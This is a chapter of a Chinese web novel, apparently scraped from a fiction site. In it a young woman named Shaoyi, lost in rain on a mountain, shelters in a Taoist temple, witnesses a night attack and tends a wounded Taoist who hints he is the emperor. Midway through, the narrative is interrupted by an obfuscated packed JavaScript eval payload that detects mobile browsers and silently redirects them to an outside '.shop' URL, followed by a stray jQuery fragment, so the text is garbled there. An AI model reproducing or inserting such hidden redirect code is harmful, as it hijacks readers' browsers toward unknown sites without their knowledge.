文趣网 > 都市小说 > 前夫对我太执着 > 41. 雨夜刺杀之谜
    下着大雨的山上雾气弥漫,辨不出方向。等到少宜回过神来,已经不知道跑到了什么地方,四周树木环绕,只有大雨在耳边哗哗直响。

    这下要回去都找不到路了。

    正踌躇着,前方似乎闪过一个人影。

    “陈大爷?陈大爷,是你吗?”

    那人影如未听见一般,没有回头,直直向前走着。

    少宜抬腿朝他追去。不管是不是陈大爷,现在只要能见着人就是好的,总比她自己在这大山上迷路了强!

    可是不管她如何追,那人影始终和她保持着一段距离,不远也不近,正好让她能够跟上。

    不知不觉中,前方忽然出现了一个道观。

    少宜眼看那人影走了进去,她便也快走几步跟着进了道观。

    奇怪的是,进了道观以后,雨似乎小了许多。可当少宜踏出山门,雨又大了起来。

    真是奇怪。

    她缩回脚,老老实实地往道观里走,“莫不是仙人显灵,有心要留我在这?”

    “这位道友,可是进来躲雨的?”

    一道声音响起,把少宜吓了一跳!她定睛一看,只见是位穿着道袍的中年男子,面容和善,正笑着对她说话。

    “道长。”少宜恭敬地问好,“叨扰道长清修,小辈在这山上迷了路,找不到回去的方向了,道长可否让我在这观中停歇片刻?”

    “自是可以,姑娘请随我这边来。”那道士做了个手势,便脚下生风,带着少宜往一处厢房走去。

    “姑娘可曾听说过,这烟山西边不可前往?”

    “听说了。”少宜点点头,“道长也听过这件事?”

    “既然姑娘知道,那夜里便不要出门了。”道士收起伞,朝远方看了看,“这里,便是烟山的西面。”

    少宜随着道士的目光朝远方看去,可除了连绵的雨幕什么也看不到。

    “道长……难道烟山真的有鬼不成?可这里不是道观吗?又怎会有那些妖魔鬼怪出没呢?”

    “人心有邪念。有人的地方,就有妖魔。”

    见少宜一脸困惑,道士也未多做解释,只是叮嘱道:“姑娘也莫太过害怕,晚上熄了烛灯、紧闭房门,不管听见什么,都当没听见便是。”

    说完那道士像是有急事一样头也不回地走了,只留下少宜一头雾水。

    傍晚时分,雨依旧未停,道士提着食盒,给少宜送了些饭菜来。

    “马上要入夜了,姑娘切记我说的话,不管听见什么,都不要出门。”

    少宜这下被道士弄得紧张起来,仓皇地点点头,保证自己一定不会乱走。

    夜色漫漫降临,她坐在厢房的床边,心里想着庄子那边的情况。

    裴二奶奶一定发现她不见了,此时不知道该有多着急!可都说不让往西走,不知道二奶奶会不会派人来西边寻呢?

    还有陈大爷。下这么大雨,他不留在庄子上,又跑到哪里去了?

    少宜想起那时在烛火中脑海闪过的几个画面。若是她讲给陈大爷听,陈大爷会不会笑她?

    想着想着,她的眼皮开始打架,干脆躺了下来。本以为在这陌生的地方,又有恐怖的传言,自己该彻夜难眠才是。没想到她一沾枕头,就打起了瞌睡。

    等再醒来,已不知到了几更,反正天已经黑透了。

    少宜茫然地坐起身,觉得喉咙很干,想倒杯水来喝,却听见门口响起一阵嘈杂的脚步声,她顿时僵在原地,捂住了嘴。

    是鬼吗?

    她蹲了下来,屏气凝神地留意着屋外的动静。

    隐隐的,在哗哗雨声中,似有刀剑相交的清脆碰撞、和人受伤倒地的闷哼。

    不是鬼。

    可少宜的面色却比刚才更白了几分。

    是有人借着大雨掩饰在杀人!

    她把自己蜷缩起来,躲在了桌子底下,心中默念各路神佛,只希望别被那伙歹人发现才好!

    少宜紧盯着房门,却没料到身旁的柜子划的一声被推开来。

    她瞪大眼睛转头看,只见那柜子后赫然是一道暗门,那白天引路的道士捂着腹部,踉踉跄跄地摔了进来。

    “快,快把门推上!”他急切地对少宜说。

    少宜看他有气无力的样子,也不敢耽搁,连忙爬起来用力把暗门推上,直到那柜子又完完全全地回到了本来的位置,她才去查看道士身上的伤。

    “左侧第三个抽屉,有纱布和药……”道士虚弱地说。

    少宜又蹑手蹑脚地拿了纱布和药,蹲在地上慢慢蹭过来,生怕被外面的人发现。

    “快点!”那道士催促道,“帮我包扎。”

    这人也不知道是怎么回事,从刚才便一直对她用命令的口吻。

    少宜撇撇嘴,还是帮他脱了衣服,将药往他身上倒。

    道士握紧拳,咬紧牙关,似乎疼得厉害。

    “他们是谁?你一个道士怎会惹上仇家?你到底是谁?我看这西边闹鬼的传言就是你弄出来吓唬人的吧!你到底有什么居心?”

    道士的额头因疼痛已经布了一层密密的细汗,唇上也毫无血色,他咧了咧嘴角,轻声说:“你问这么多,怕是不想活了。”

    “吓唬我?”少宜瞪起眼珠子,缠绷带的手使了使力,道士立刻闷哼了一声。

    “你要是再吓唬我,我让你现在就活不成!这就开了门引他们过来杀你!”

    “若是他们找过来,不光是我,恐怕你也活不成了。”他轻笑了一下。

    少宜心里打起鼓来。

    “你到底是谁?”

    “这个真的不能告诉你。”道士微微仰头,靠在墙上喘息,“小姑娘家还是别知道太多为好!”

    “这么神秘?难道你还是当今圣上不成!”少宜腹诽道。

    可那道士听完却变了脸色,凝重地盯着少宜。

    “……你不会真是圣上吧?”少宜上下打量他,可怎么看都觉得不像。

    皇上不是应该在宫里一呼百应吗?又怎么会穿着朴素的道袍一个人跑到山上,还被人追杀?

    她摇摇头,“圣上怎会像你一样狼狈……”

    道士却嘲讽般勾起嘴角,“圣上又怎么了?你以为他是什么样的?”

    “你还敢议论皇上!小心你的性命!”少宜捂着嘴,震惊地看他。

    “我伤的如此重,性命本就不一定能保住,临死前说说他又如何?”道士艰难地抬手抹了把额上的汗,“你照实说便是,反正我死了也没人会给你传出去,怕什么?”

    少宜一面继续留意着门外,一面瞪了他一眼,“你可不要害我!圣上一句话便能要了我满门的性命!你不怕死,我还怕死呢!”

    道士轻笑,“你就这么怕他?”

    “你没听说过吗?他前阵子莫名杀了数十个宫女!你不怕?”

    道士脸上揶揄的笑意渐渐淡去。

    “莫名杀的?可我怎么听说是那些宫女刺杀他不成,才被处死了。”

    “好端端的,那些宫女不想活了,刺杀圣上?”少宜反驳道,“就算真是宫女刺杀他,想必也是被逼到绝路了!”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709726|202070||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    她看了一眼道士,突然想起了什么,说道:“听说圣上四处寻药,想要长生不老。”

    “那又如何?这世上试问谁不想长生?”道士面无表情地说。

    “我就不想。”少宜轻声说,“一辈子那么苦,活那么久做什么?”

    道士上下打量她,轻哼一声,“小丫头,你还太年轻了,等你到了我这个岁数,怕是不这么想了!”

    少宜不以为然。

    道士又看了她一眼,问道:“怎么,你过得很苦吗?看你身上穿着,应也是个富贵人家。”

    “富贵人家难道就不苦吗?大宅院里勾心斗角,女子为了家族权势要嫁人,若是命好也就罢了,若是命不好所托非人,这一辈子就这样白白搭进去,又去找谁说呢?”她想起裴二奶奶,又想起自己的母亲杨氏。

    “你家里逼你嫁人了?嫁给谁?”道士微眯起眼睛。

    少宜却撇撇嘴,“你问那么多有何用,道士还能管得了别家嫁娶不成?”

    那道士语气漫不经心,“既然有人追杀我,你也能猜到我不是普通人。实话告诉你,我在宫里也有自己的路子。你告诉我,这次我若能活着离开便帮你,就当还你替我疗伤的恩情了!”

    少宜想了想,说:“我只希望,自己的婚事能自己做主就好了。”

    “你不想嫁到勋爵人家吗?若是嫁得好,将来便不用再看家中颜色,无人能欺负得了你。”

    少宜摇摇头,“嫁得再好,也总有更好的,试问这世上有谁能不向人低头呢?”

    “那若是嫁给圣上呢?”他说道。

    少宜骇了一跳,“你不要乱讲!”

    “你不想进宫为妃,一人之下,万人之上?哦我想起来了,你怕他。”他扯起嘴角,“怕他像杀那些宫女一样杀了你。”

    “好了,你不要乱说那些有的没的。”少宜横他一眼,“先想办法把自己今晚的性命保住,再想着报我的恩吧!”

    道士嗯了一声,对她说:“你去帮我看看,那群人走了没?”

    少宜震惊地看他,“你让我出去给你望风,万一他们发现我怎么办?”

    “不用你出去,你就把窗户纸戳个小洞,悄悄往外看一看。”

    少宜心中害怕,“我不去,这么短的距离,你自己也是可以的吧!”

    “我的伤实在太疼了,不宜挪动。你好人做到底,就去帮我看看吧!”

    少宜想了想,“好吧,我就帮你看一眼!”

    她匍匐在地,一点一点挪着步子,就听见身后有人发笑。

    少宜回头狠狠瞪了他一下,那道士马上作虚弱状,冲她点点头,“有劳你了!”

    就这样一点点挪到门边,她先是靠着门听了听,似乎没有脚步声。

    然后她才慢慢站起来,也不敢直起身,只半蹲不蹲的,在沿着窗框的窗户纸最下沿轻轻戳了个小洞,把一只眼睛移过去朝外看。

    外面黑乎乎的,什么都瞧不清。

    那伙人,应该是已经走了吧……

    少宜正要回头,却觉得肩膀被人重重捶了一下,眼前一黑身子便瘫软下去。

    模糊中她听见有人在交谈……

    “要不要把她处理了?”

    “她你不用管。”

    “可她知道太多……”

    “无事,你去放个消息,引她家里人过来……”

    意识越来越沉,耳边的声音也越来越模糊,就好像从很远的地方传来一样,听不清楚。尽管少宜努力保持清醒,最后还是彻底晕了过去。